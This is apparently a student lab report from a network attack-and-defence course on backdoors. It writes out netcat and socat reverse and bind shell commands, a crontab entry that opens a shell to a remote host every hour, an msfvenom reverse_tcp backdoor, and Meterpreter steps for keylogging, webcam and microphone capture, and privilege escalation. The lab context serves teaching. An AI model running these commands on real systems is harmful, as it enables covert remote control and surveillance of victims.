20155202 张旭《网络对抗》Exp2 后门原理与实践

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

  • 捆绑在软件中
  • 注入在可执行文件里
  • 注入在office文件的宏里面

    例举你知道的后门如何启动起来(win及linux)的方式?

  • 更改名字伪装成其他程序
  • Linux可以使用cron启动
  • Windows下通过任务计划来启动后门程序

    Meterpreter有哪些给你映像深刻的功能?

  • 获取摄像头权限进行拍照
  • 获取麦克风权限进行录音
  • 提升用户权限!!!!!

    如何发现自己有系统有没有被安装后门?

  • 杀毒软件进行扫描,没做过免杀的直接就能被扫出来
  • 观察进程以及端口,看看有没有异常

    常用后门工具实践

    Windows获得Linux Shell

-Windows:使用ipconfig指令查看本机IP:

  • 使用ncat.exe程序监听本机的
    5202端口
  • Kali:使用nc指令的-e选项反向连接Windows主机的5202端口:
  • Windows下成功运行Kali的shell,运行ls指令如下:

- Linux获得Windows Shell

  • Kali:ifconfig查看IP:

  • Kali使用nc指令监听5202端口

  • Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的5202端口:
  • Kali:运行Windows的cmd shell并输入命令执行:
  • 使用nc传输数据

  • Windows下监听5202端口:
  • Kali下连接到Windows5202端口:

  • 建立之后进行文字传输,后面会说道用来传输后门:

实验内容

使用netcat获取主机操作Shell,cron启动

  • 先在Windows系统下,监听5202端口:

  • 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档:
  • crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  • 用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
  • 在最后一行添加11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh,意思是在每个小时的第11分钟反向连接Windows主机的5202端口,设置成11的原因是我当时的时间是17:10(这样过一会就能看到连接效果了)

  • 当时间到了17:11时,此时已经获得了Kali的shell,可以输入指令

- 使用socat获取主机操作Shell, 任务计划启动

基础知识

socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  • Windows系统下,打开控制面板下搜索任务计划就可以开始创建任务,填写任务名称后,新建一个触发器:
  • 操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5202 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5202,同时把cmd.exe的stderr重定向到stdout上:
  • 创建完成之后,可以windows+L锁定计算机让它执行。

  • 此时,在Kali环境下输入指令socat - tcp:192.168.43.234:5202,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5202端口,此时可以发现已经成功获得了一个cmd shell

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.80 LPORT=5202 -f exe > 20155202_backdoor.exe生成后门程序:

  • 通过nc指令将生成的后门程序传送到Windows主机上
  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
  • 设置完成后,执行监听:

  • 打开Windows上的后门程序:

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令截获一段音频:

  • 使用webcam_snap指令可以使用摄像头进行拍照:
  • 使用webcam stream指令可以使用摄像头进行录像:

  • 使用screenshot指令可以进行截屏:
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

实验遇到的问题

虚拟机设置时间时候到-用crontab-e指令编辑一条定时任务,在最后一行添加11 * * * * /bin/netcat 192.168.15.131 4312 -e /bin/sh, 当时间到了17:11时,此时并没有获得Kali的shell,不可以输入指令

解决方法:datakali虚拟机的时间,会发现kali与win7中时间并不相同,然后再用kali中的时间下一分时间即可。

  • 实验总结与体会

  • 这次实验总体不难,就是小问题一直频发,而且最后摄像头还是调用不了,不过好多问题都解决了,我还是很开心。在win7系统上重新实现了实验一往kali里注入shellcode,我很开心,同时真切的感觉到现在的互联网环境之恶劣,我以后也应该更加注意保密意识。

20155202 张旭《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. Unity Profiler连接Android真机调试

    Profiler在Editor模式就可以观看性能消耗,但是毕竟电脑配置高,跟手机真机环境还是有区别.实际开发中的优化还是推荐用真机测试. 因为IOS一般比Android手机的配置高,在Android平 ...

  2. Python+Selenium笔记(八):操作下拉菜单

    (一) Select类 Select类是selenium的一个特定的类,用来与下拉菜单和列表交互. 下拉菜单和列表是通过HTML的<select> 元素实现的.选择项是通过<sele ...

  3. 如何用 Python 实现 Web 抓取?

    [编者按]本文作者为 Blog Bowl 联合创始人 Shaumik Daityari,主要介绍 Web 抓取技术的基本实现原理和方法.文章系国内 ITOM 管理平台 OneAPM 编译呈现,以下为正 ...

  4. 表的垂直拆分和水平拆分-zz

    https://www.kancloud.cn/thinkphp/mysql-design-optimalize/39326 http://www.cnblogs.com/nixi8/tag/mysq ...

  5. 购物商城学习--第二讲(maven工程介绍)

    接下来第二讲介绍整体工程如何使用maven搭建的. 使用maven管理工程的好处: jar包的管理: 工程之间的依赖管理: 自动打包 maven常见打包方式:jar.war和pom三种.jar工程,是 ...

  6. alsa声卡分析alsa-utils调用过程(一)-tinyplay

    如何分析tinyplay 播放音频和tinymix的过程?需要相应的工具来支持追查: 一.分析tinyplay和tinymix: 1.1 利用strace工具: strace -o tinyplay. ...

  7. PHP 传值操作和传地址操作

    PHP中有两种赋值操作 一种是传值操作 example: $a = 1; $b = $b; 这个就是传值 传地址是: example2: $a = 1; $b = &$a; 这两者有什么区别呢 ...

  8. mysql 表格操作指令大全(Show、desc、create、insert into、delete、select、drop、update、alter)

    使用数据库 use 数据库名 eg: use weiying 2. 查看库里所有的表 Show tables 3.查看所表的结构  desc 表名 desc score 4.建表create tabl ...

  9. 自己模拟写C++中的String类型

    下面是模拟实现字符串的相关功能,它包括一下功能:    String(const char * s);//利用字符串来初始化对象    String(); //默认构造函数    String(con ...

  10. sql注入--mysql

    mysql数据库结构: 数据库A  --> 表名  --> 列名 --> 数据 数据库B  --> 表名  --> 列名 --> 数据 mysql数据库信息: my ...